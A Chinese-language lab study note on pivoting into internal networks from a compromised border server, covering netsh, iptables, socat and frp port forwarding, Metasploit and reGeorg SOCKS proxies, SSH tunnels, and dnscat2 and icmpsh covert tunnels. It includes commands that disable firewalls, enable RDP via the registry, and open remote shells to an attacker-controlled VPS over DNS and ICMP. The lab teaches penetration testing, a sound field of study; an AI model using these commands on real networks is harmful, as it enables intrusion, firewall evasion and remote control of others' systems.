本文僅作學(xué)習(xí)記錄,如有侵權(quán),請聯(lián)系刪除!
背景:
當(dāng)我們通過 webshell 或者其它一些方式獲取到一臺可以訪問內(nèi)網(wǎng)的服務(wù)器權(quán)限后,如果要做進(jìn)一步的滲透,往往要訪問內(nèi)網(wǎng)中的其它主機(jī),但其它主機(jī)在內(nèi)網(wǎng)中,我們無法直接訪問。由于控制的服務(wù)器處于內(nèi)網(wǎng)中,所以我們可以通過這臺服務(wù)器作為跳板進(jìn)行內(nèi)網(wǎng)穿透
內(nèi)網(wǎng)穿透使用的技術(shù)主要有下面幾種:
1.端口轉(zhuǎn)發(fā)
2.socks 代理
3.dns 隧道
4.icmp 隧道
端口轉(zhuǎn)發(fā):
端口轉(zhuǎn)發(fā),有時被叫做隧道。我們現(xiàn)在在內(nèi)網(wǎng)中,是沒有辦法直接訪問外網(wǎng)的。但是我們可以通過路由器的NAT方式訪問外網(wǎng)。假如我們內(nèi)網(wǎng)現(xiàn)在有100臺主機(jī),那么我們現(xiàn)在都是通過路由器的這一個公網(wǎng)IP和外網(wǎng)通信的。那么,當(dāng)互聯(lián)網(wǎng)上的消息發(fā)送回來時,路由器是怎么知道這個消息是給他的,而另外消息是給你的呢?這就要我們的ip地址和路由器的端口進(jìn)行綁定了,這時,在路由器中就會有一個內(nèi)網(wǎng)ip和路由器端口對應(yīng)的一張表。當(dāng)路由器的10000端口收到消息時,就知道把消息發(fā)送給他,而當(dāng)20000端口收到消息時,就知道把消息發(fā)送給你。這就是端口轉(zhuǎn)發(fā),其轉(zhuǎn)發(fā)一個端口收到的流量,給另一個主機(jī)
端口轉(zhuǎn)發(fā)技術(shù)主要是把目標(biāo)內(nèi)網(wǎng)的主機(jī)端口轉(zhuǎn)發(fā)到公網(wǎng)可以訪問的主機(jī)端口中。根據(jù)轉(zhuǎn)發(fā)的方向不同,也可以分成正向端口轉(zhuǎn)發(fā)和反向端口轉(zhuǎn)發(fā),但本質(zhì)是一樣的,都是把一臺主機(jī)的一個端口轉(zhuǎn)發(fā)到另一臺主機(jī)的一個端口。
環(huán)境介紹:
192.168.107.133 外網(wǎng)Ubuntu攻擊機(jī),也可以模擬成VPS主機(jī)
192.168.101.131,192.168.107.136 網(wǎng)絡(luò)邊界Windows7服務(wù)器(被控),雙網(wǎng)卡
192.168.101.132 Win10內(nèi)網(wǎng)服務(wù)器(目標(biāo)),我們想連接它的3389端口
192.168.107.0/24段的網(wǎng)卡模擬公網(wǎng),192.168.101.0/24段的網(wǎng)卡連接內(nèi)網(wǎng)
win7和目標(biāo)機(jī)處于同一域中。
Windows系統(tǒng)都需提前關(guān)閉防火墻:
接下來測試來雙網(wǎng)卡的效果,在被控 windows 上分別 ping 下 Ubuntu 和目標(biāo)機(jī),看看是否都可以通:
windows 7 被控服務(wù)器可以同時 ping 通 Ubuntu 和 目標(biāo)機(jī)
Ubuntu 攻擊機(jī)能ping通雙網(wǎng)卡的 windows 7 被控服務(wù)器,但無法 ping 通內(nèi)網(wǎng)的目標(biāo)主機(jī) 192.168.101.132
正向端口轉(zhuǎn)發(fā):
正向端口轉(zhuǎn)發(fā)用得比較少。
一般適用于獲得權(quán)限的公網(wǎng)Web服務(wù)器同時具有公網(wǎng) ip 和內(nèi)網(wǎng) ip。此時可以把內(nèi)網(wǎng)主機(jī)的一些端口轉(zhuǎn)發(fā)到 Web服務(wù)器的端口上。
舉例說明:
Web服務(wù)器會在本地打開一個3389端口進(jìn)行監(jiān)聽,接著攻擊主機(jī)訪問了Web 服務(wù)器的3389端口,然后Web服務(wù)器作為中轉(zhuǎn),把 3389端口接收到的流量轉(zhuǎn)發(fā)到內(nèi)網(wǎng)主機(jī)B 的 3389。這樣就達(dá)到了訪問內(nèi)網(wǎng)主機(jī)B的目的。
查看被控主機(jī)開放端口(win7):
被控主機(jī)未開放3389,嘗試開啟遠(yuǎn)程桌面:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 / f
成功開啟3389端口
如果開啟失敗可能是防火墻沒關(guān),嘗試關(guān)閉防火墻:
netsh firewall set opmode mode=disable
順便把目標(biāo)機(jī)的網(wǎng)絡(luò)級別身份驗(yàn)證關(guān)了,方便 Ubuntu 連接:
接下來在被控 windows 服務(wù)器進(jìn)行正向端口轉(zhuǎn)發(fā),在 windows 下可以使用自帶的 netsh工具來進(jìn)行正向端口轉(zhuǎn)發(fā),netsh是一個命令行腳本實(shí)用工具,可以查看或更改本地計算機(jī)或遠(yuǎn)程計算機(jī)的網(wǎng)絡(luò)配置。
現(xiàn)在需要通過 192.168.107.136 的 3389 端口轉(zhuǎn)發(fā)到 192.168.101.132 的3389端口。
在 192.168.107.136 被控主機(jī)上以管理員身份打開 cmd,輸入如下語句:
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=192.168.107.136 connectport=3389 connectaddress=192.168.101.132
//查看存在的轉(zhuǎn)發(fā)
netsh interface portproxy show all
//刪除指定規(guī)則
netsh interface portproxy delete v4tov4 listenport=3389 listenaddress=192.168.107.136
進(jìn)行端口轉(zhuǎn)發(fā)后,就可以通過192.168.107.136 的 3389端口訪問內(nèi)網(wǎng) 192.168.101.132 主機(jī)的 3389 端口了。
iptables:
環(huán)境介紹:
192.168.101.130,192.168.107.138 網(wǎng)絡(luò)邊界 ubuntu 服務(wù)器(被控) , 雙網(wǎng)卡
192.168.107.129 外網(wǎng)kali攻擊機(jī),也可以模擬成 VPS 主機(jī)
192.168.101.132 內(nèi)網(wǎng)服務(wù)器(目標(biāo)),我們想連它的3389端口
192.168.107.0/24段的網(wǎng)卡模擬公網(wǎng),192.168.101.0/24段的網(wǎng)卡連接內(nèi)網(wǎng)
在 linux 下可以使用 iptables 進(jìn)行正向端口轉(zhuǎn)發(fā),iptables 是 linux自帶的防火墻軟件
創(chuàng)建 iptables 規(guī)則,在邊界 ubuntu 服務(wù)器上把本地 3389 端口收到的流量轉(zhuǎn)發(fā)到 192.168.101.132 的 3389 端口
sudo iptables -I INPUT -p tcp -m tcp --dport 3389 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 3389 -j DNAT --to-destination 192.168.101.132:3389
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
sudo iptables -I FORWARD -j ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo sysctl net.ipv4.ip_forward=1
Ubuntu重啟防火墻:
sudo ufw disable && sudo ufw enable
在其它系統(tǒng)可以使用重啟iptables:
/etc/init.d/iptables restart
在 kali 上使用 rdesktop 來連接,注意,這里連接的地址是被控 ubuntu 主機(jī)的 ip
使用完后使用 iptables –F 清除規(guī)則然后重啟 iptables
socat
SOCAT是用于執(zhí)行流量轉(zhuǎn)發(fā)的另一種工具。
它比 iptables 更容易使用。
安裝 socat:
sudo apt install socat
在邊界 ubuntu 服務(wù)器上把本地3389端口收到的流量轉(zhuǎn)發(fā)到 192.168.101.132的3389端口
在Ubuntu商需要先關(guān)閉防火墻:
sudo ufw disable
之后進(jìn)行端口轉(zhuǎn)發(fā):
socat TCP4-LISTEN:3389,fork TCP4:192.168.101.132:3389
反向端口轉(zhuǎn)發(fā):
反向端口轉(zhuǎn)發(fā)用得比較多。這種情況一般是公網(wǎng)Web服務(wù)器只有內(nèi)網(wǎng) ip,然后通過路由器把 80 端口映射到公網(wǎng)的 ip上。這種情況下不能讓 Web服務(wù)器直接監(jiān)聽本地的端口,然后讓攻擊主機(jī)進(jìn)行連接,因?yàn)槁酚善髦蛔隽?0端口的映射。
攻擊主機(jī)想要訪問內(nèi)網(wǎng)主機(jī)B的 3389 端口時,可以讓公網(wǎng)的一臺 VPS 監(jiān)聽 3389 端口,然后把 3389 端口收到的流量轉(zhuǎn)發(fā)到 8000 端口,接著讓 Web 服務(wù)器連接VPS的 8000 端口,并且把該端口的流量轉(zhuǎn)發(fā)到內(nèi)網(wǎng)主機(jī)B的 3389 端口。這時,攻擊機(jī)訪問VPS的 3389 端口,相當(dāng)于訪問內(nèi)網(wǎng)主機(jī)B的 3389 端口。
環(huán)境介紹:
x.x.x.x vps主機(jī)(注意配置好防火墻出入規(guī)則)
192.168.1.10 本地 windows10 物理主機(jī)
192.168.101.130,192.168.107.138 網(wǎng)絡(luò)邊界ubuntu服務(wù)器 (被控) ,雙網(wǎng)卡
192.168.101.132 內(nèi)網(wǎng)服務(wù)器(目標(biāo)),我們想連它的3389端口
192.168.101.0/24段的網(wǎng)卡連接內(nèi)網(wǎng)
frp:
frp是一個可用于內(nèi)網(wǎng)穿透的高性能的反向代理應(yīng)用,支持tcp, udp協(xié)議,為 http 和 https應(yīng)用協(xié)議提供了額外的能力,且嘗試性支持了點(diǎn)對點(diǎn)穿透。
frp用來做反向端口轉(zhuǎn)發(fā)比較穩(wěn)定,而且同時支持 linux 平臺和 windows平臺。
其詳細(xì)的介紹可以在github上查看
https://github.com/fatedier/frp/blob/master/README_zh.md
在以下地址下載相應(yīng)版本的frp
https://github.com/fatedier/frp/releases
Linux平臺下載根據(jù)實(shí)際情況下載:
#查看系統(tǒng)信息
uname -a
解壓后,將 frps 及 frps.ini 放到具有公網(wǎng)IP(公網(wǎng) vps )的機(jī)器上。
將 frpc 及 frpc.ini 放到處于內(nèi)網(wǎng)環(huán)境的機(jī)器上(內(nèi)網(wǎng) ubuntu 邊界服務(wù)器)。
下面的配置將把內(nèi)網(wǎng)主機(jī)的3389端口轉(zhuǎn)發(fā)到 公網(wǎng)VPS上
先在vps上修改 frps.ini文件,這里使用了最簡化的配置,監(jiān)聽8000端口,等待內(nèi)網(wǎng) ubuntu 服務(wù)器連接
[common]
bind_port=8000
在vps上啟動 frps:
./frps -c ./frps.ini
在內(nèi)網(wǎng) ubuntu 邊界服務(wù)器修改frpc.ini文件, 把 192.168.101.132的 3389 端口轉(zhuǎn)發(fā)到 vps x.x.x.x 的 3389 端口
啟動 frpc,連接vps:
./frpc -c ./frpc.ini
連接成功后,在本地 windows 物理主機(jī)上直接連接vps 的 3389 端口即可訪問內(nèi)網(wǎng)主機(jī)的 3389 端口
當(dāng)然,frp也可以做正向端口轉(zhuǎn)發(fā),原理是一樣的,把vps換成邊界服務(wù)器就行了。
socks代理:
socks是一種網(wǎng)絡(luò)傳輸協(xié)議,主要用于客戶端與外網(wǎng)服務(wù)器之間通訊的中間傳遞。但也可以用于客戶端與內(nèi)網(wǎng)服務(wù)器之間的通訊。socks協(xié)議版本有 socks4 和 socks5,其中 socks5 可以支持udp。
socks有一個服務(wù)端,它會監(jiān)聽一個端口,等待客戶端的連接。客戶端連接該端口,然后告訴服務(wù)端要訪問那些ip和端口,然后由服務(wù)端去訪問,服務(wù)端把返回的數(shù)據(jù)轉(zhuǎn)發(fā)給客戶端。
它的優(yōu)點(diǎn)是很靈活,不需要轉(zhuǎn)發(fā)各種端口,直接通過 socks 服務(wù)器就可以訪問內(nèi)網(wǎng)的不同端口。
利用msf搭建socks代理,進(jìn)行橫向滲透:
當(dāng)我們通過MSF拿到一個機(jī)器的權(quán)限后,想通過MSF搭建socks代理,然后通內(nèi)網(wǎng)。
MSF中有三個代理模塊,分別是socks4a、socks5、socks_unc。我們一般用 socks4a和socks5進(jìn)行代理。socks5可以設(shè)置用戶名和密碼。
在使用代理之前,我們需要先添加路由,讓MSF能到達(dá)目標(biāo)機(jī)器內(nèi)網(wǎng)。因?yàn)檫@里socks模塊只是將代理設(shè)置為監(jiān)聽的端口(默認(rèn)是1080),即通過proxychains的流量都轉(zhuǎn)給本地的1080端口,又因?yàn)檫@是MSF起的監(jiān)聽端口,所以通過代理走的流量也都能到達(dá)內(nèi)網(wǎng)。
利用過程:
利用msf反彈shell連接后:
獲取內(nèi)網(wǎng)網(wǎng)段信息
run get_local_subnets
通過內(nèi)網(wǎng)本地路由查詢,可以獲悉內(nèi)網(wǎng)網(wǎng)段地址為:192.168.107.0/24。
添加去往第二層內(nèi)網(wǎng)網(wǎng)段(192.168.107.0/24)的靜態(tài)路由。
搭建Socks4a代理:
use auxiliary/server/socks4a
set srvport 9999
run
連接代理:
修改/etc/proxychains.conf文件,在最后一行添上:
socks4 127.0.0.1 9999
使用proxychains對其進(jìn)行端口掃描:
這里似乎有點(diǎn)不對勁???用瀏覽器設(shè)置socks代理看看
設(shè)置之前訪問:
設(shè)置socks代理:
再次訪問:
。。。。那為啥端口掃描不行???
我太菜了,這個坑以后再來解
reGeorg:
如果我們獲得了一個webshell,可以使用 socks 代理的webshell來實(shí)現(xiàn) socks代理。
reGeorg是常用的隧道馬,可以在本地監(jiān)聽一個 socks服務(wù)端,然后把收到的內(nèi)網(wǎng)請求轉(zhuǎn)發(fā)到 webshell來訪問。
下載地址如下:
https://github.com/sensepost/reGeorg
java環(huán)境搭建參考:
https://blog.csdn.net/qq_34412086/article/details/88035820
Tomcat環(huán)境搭建參考:
https://blog.csdn.net/qq_34412086/article/details/88038210
環(huán)境介紹:
192.168.1.17 外網(wǎng) Ubuntu 攻擊機(jī),用于使用reGeorg
192.168.1.16,192.168.107.136 網(wǎng)絡(luò)邊界win7服務(wù)器 (被控) ,被上傳 webshell ,雙網(wǎng)卡
192.168.107.130 內(nèi)網(wǎng)服務(wù)器(目標(biāo))
192.168.1.0/24段的網(wǎng)卡模擬公網(wǎng),192.168.107.0/24段的網(wǎng)卡模擬內(nèi)網(wǎng)
實(shí)驗(yàn)環(huán)境的邊界 win7 服務(wù)器是使用 IIS,所以上傳 tunnel.aspx 到服務(wù)器的根目錄,訪問URL為:
接著 Ubuntu 攻擊機(jī)上運(yùn)行下面命令即可在本地的8888端口啟動socks 服務(wù)器
python reGeorgSocksProxy.py -p 8888 -u http://192.168.1.16/tunnel.aspx
在 windows 下面可以使用Proxifier來連接代理。如果要對內(nèi)網(wǎng)做web滲透,可以直接在burpsuite上面設(shè)置socks代理的地址和端口。如果在 linux 下,可以使用 proxychains 工具來使用代理。
以 Ubuntu 為例,先把 /etc/proxychains.conf文件的最后一行修改為:
socks4 127.0.0.1 8888
然后通過 proxychains來啟動要代理的程序,這樣 rdesktop 的流量會經(jīng)過 socks 代理直接訪問內(nèi)網(wǎng)的目標(biāo)主機(jī)
PS:如果使用tunnel.php,php的版本似乎只能在5.3以下,然后我用phpstudy復(fù)現(xiàn)失敗了,reGeorg最好使用asp和jsp的webshell
ssh 隧道
ssh是 linux 自帶的遠(yuǎn)程登錄客戶端,ssh端口轉(zhuǎn)發(fā)也被稱作 ssh 隧道(sshTunnel),因?yàn)樗鼈兌际峭ㄟ^ssh登陸之后,在ssh客戶端與ssh服務(wù)端之間建立了一個隧道,從而進(jìn)行通信。ssh隧道是非常安全的,因?yàn)?ssh 是通過加密傳輸數(shù)據(jù)的。
使用ssh可以實(shí)現(xiàn)前面的所有功能,如正向端口轉(zhuǎn)發(fā)、反向端口轉(zhuǎn)發(fā)和socks 代理。
如果被控主機(jī)是 linux, 推薦使用 ssh 來做隧道,因?yàn)樗牧髁渴羌用艿模覙O其穩(wěn)定
使用前首先要確認(rèn) /etc/ssh/sshd_config 的以下配置:
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes #保持心跳,防止ssh斷開
PasswordAuthentication yes
這里著重介紹下GatewayPorts,默認(rèn)情況下為no,當(dāng)設(shè)置成yes時,允許任何人連接到轉(zhuǎn)發(fā)的端口,比如目標(biāo)機(jī)為windows,通過ssh遠(yuǎn)程端口轉(zhuǎn)發(fā)到vps的3389,這時任何人都可以通過如下命令連接3389:
rdesktop vps-ip
只要知道賬號密碼就能登錄3389,默認(rèn)情況下只運(yùn)行本地服務(wù)器連接,但由于VPS只能在cli下運(yùn)行,而rdesktop必須在GUI下才能正常連接。所以,GatewayPorts這個參數(shù)的設(shè)置要慎重!
之后重啟ssh生效:
service ssh restart
ssh隧道的常用參數(shù)如下:
-C:該參數(shù)將使ssh壓縮所有通過SecureShell客戶端發(fā)送的數(shù)據(jù)。
-f:該參數(shù)將ssh連接送入后臺執(zhí)行。
-g:該參數(shù)允許遠(yuǎn)程主機(jī)通過端口轉(zhuǎn)發(fā)與主機(jī)端口相連,通常情況下僅允許本地主機(jī)這樣做。
-N:不執(zhí)行遠(yuǎn)程指令。
-R:遠(yuǎn)程轉(zhuǎn)發(fā)
-L:本地轉(zhuǎn)發(fā)
-D:動態(tài)轉(zhuǎn)發(fā),即socks代理
-p:指定遠(yuǎn)程ssh服務(wù)端口
-n:后臺運(yùn)行
-p:安靜模式,不要顯示任何debug信息
ssh 隧道分為本地端口轉(zhuǎn)發(fā)、遠(yuǎn)程端口轉(zhuǎn)發(fā)和動態(tài)端口轉(zhuǎn)發(fā)。
本地轉(zhuǎn)發(fā)是將遠(yuǎn)程主機(jī)(vps)某個端口的數(shù)據(jù)轉(zhuǎn)發(fā)到本地機(jī)器(內(nèi)網(wǎng)主機(jī))的指定端口。
遠(yuǎn)程端口轉(zhuǎn)發(fā)是在遠(yuǎn)程主機(jī)上監(jiān)聽一個端口,所有訪問遠(yuǎn)程服務(wù)器指定端口的數(shù)據(jù)都會通過ssh隧道傳輸?shù)奖镜氐膶?yīng)端口。
動態(tài)端口轉(zhuǎn)發(fā)是就是建立一個 socks 代理。
環(huán)境介紹:
119.x.x.x 外網(wǎng)VPS攻擊機(jī)
192.168.1.17,192.168.107.133 網(wǎng)絡(luò)邊界 ubuntu 服務(wù)器(被控),雙網(wǎng)卡,192.168.107.0/24段的網(wǎng)卡連接內(nèi)網(wǎng)。
192.168.107.130(目標(biāo)服務(wù)器)
ssh遠(yuǎn)程端口轉(zhuǎn)發(fā):
一般來說,在端口轉(zhuǎn)發(fā)時,使用的是遠(yuǎn)程端口轉(zhuǎn)發(fā)
下面命令不會產(chǎn)生交互shell,需要用kill命令手動殺死ssh進(jìn)程才能停止端口轉(zhuǎn)發(fā),在 Ubuntu 上運(yùn)行以下命令,輸入 vps 的 ssh 賬號密碼:
ssh -CfNg -R 119.x.x.x:3389:192.168.107.130:3389 root@119.x.x.x
之后登錄VPS主機(jī),通過 netstat 命令查看監(jiān)聽端口:
netstat -ntlp
之后通過任意能上網(wǎng)的機(jī)器(VPS的話需要有GUI)輸入如下命令,即可連接目標(biāo)服務(wù)器的3389:
rdesktop 119.x.x.x
ssh 動態(tài)端口轉(zhuǎn)發(fā):
ssh 動態(tài)端口轉(zhuǎn)發(fā)可以實(shí)現(xiàn) socks 代理:
先在內(nèi)網(wǎng)主機(jī) Ubuntu 上運(yùn)行下面命令,使用本地的1086端口做動態(tài)端口轉(zhuǎn)發(fā),輸入的是Ubuntu 上的 ssh 賬號密碼,這時需要有本地的賬號密碼,或者獲取 root 權(quán)限后,自行添加一個賬號密碼:
ssh -CfNg -D localhost:1086 b4yi@localhost
再把本地1086端口遠(yuǎn)程轉(zhuǎn)發(fā)到 119.x.x.x 的8000端口,這里輸入的是vps的ssh賬號密碼。
ssh -CfNg -R 119.x.x.x:8000:localhost:1086 root@119.x.x.x
在vps上配置 /etc/proxychains.conf文件的最后一行修改為:
socks5 127.0.0.1 8000
通過socks代理訪問目標(biāo)主機(jī):
proxychains curl -I 192.168.107.130
dns 隧道:
當(dāng)目標(biāo)內(nèi)網(wǎng)有防火墻策略,不允許內(nèi)網(wǎng)機(jī)器的 tcp 連接出外網(wǎng)時,端口轉(zhuǎn)發(fā)技術(shù)就無法使用了。這時可以使用但dns請求一般是可以出外網(wǎng)的,而 dns 的 txt記錄是可以用來傳輸數(shù)據(jù)的,因此通過 dns請求可以建立到目標(biāo)內(nèi)網(wǎng)的連接。
常用的工具是dnscat
https://github.com/iagox86/dnscat2
powershell 版本
https://github.com/lukebaggett/dnscat2-powershell
在 vps 192.168.1.12 上運(yùn)行:
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo gem install bundler
bundle install
sudo ruby./dnscat2.rb
在內(nèi)網(wǎng)主機(jī)使用 dnscat 客戶端連接vps服務(wù)器:
#dnscat2.exe獲得:在Windows上,將client / win32 / dnscat2.vcproj加載到Visual Studio中,然后單擊“生成”
dnscat2.exe --dns server=攻擊者的IP --secret=攻擊者服務(wù)器生成的ID
建立連接后可以運(yùn)行命令獲取 cmd shell:
windows
session -i 1
shell
session -i 2
icmp隧道:
當(dāng)端口轉(zhuǎn)發(fā)、DNS隧道都失敗時,可以嘗試使用ICMP 請求把TCP/UDP數(shù)據(jù)封裝到ICMP的ping數(shù)據(jù)包中來繞過防火墻。
可以使用 icmpsh 工具來建立 icmp 隧道
https://github.com/inquisb/icmpsh
環(huán)境介紹:
192.168.1.12 kali 攻擊機(jī),模擬vps
192.168.1.15 內(nèi)網(wǎng)windows服務(wù)器(目標(biāo)),模擬公網(wǎng)IP
在 kali上運(yùn)行以下命令關(guān)閉 ICMP 應(yīng)答:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
然后運(yùn)行下面命令監(jiān)聽,其中 192.168.1.15 是目標(biāo)公網(wǎng)IP
python icmpsh_m.py 192.168.1.12 192.168.1.15
接著在內(nèi)網(wǎng) windows 服務(wù)器上運(yùn)行以下命令連接 vps,可以在 vps 獲取一個 cmd shell:
icmpsh.exe -t 192.168.1.12 -d 500 -b 30 -s 128
參考如下:
如何進(jìn)行內(nèi)網(wǎng)穿透
搭建一個簡單的Windows域環(huán)境
使用msf入侵多層級網(wǎng)絡(luò)架構(gòu)
MSF搭建socks代理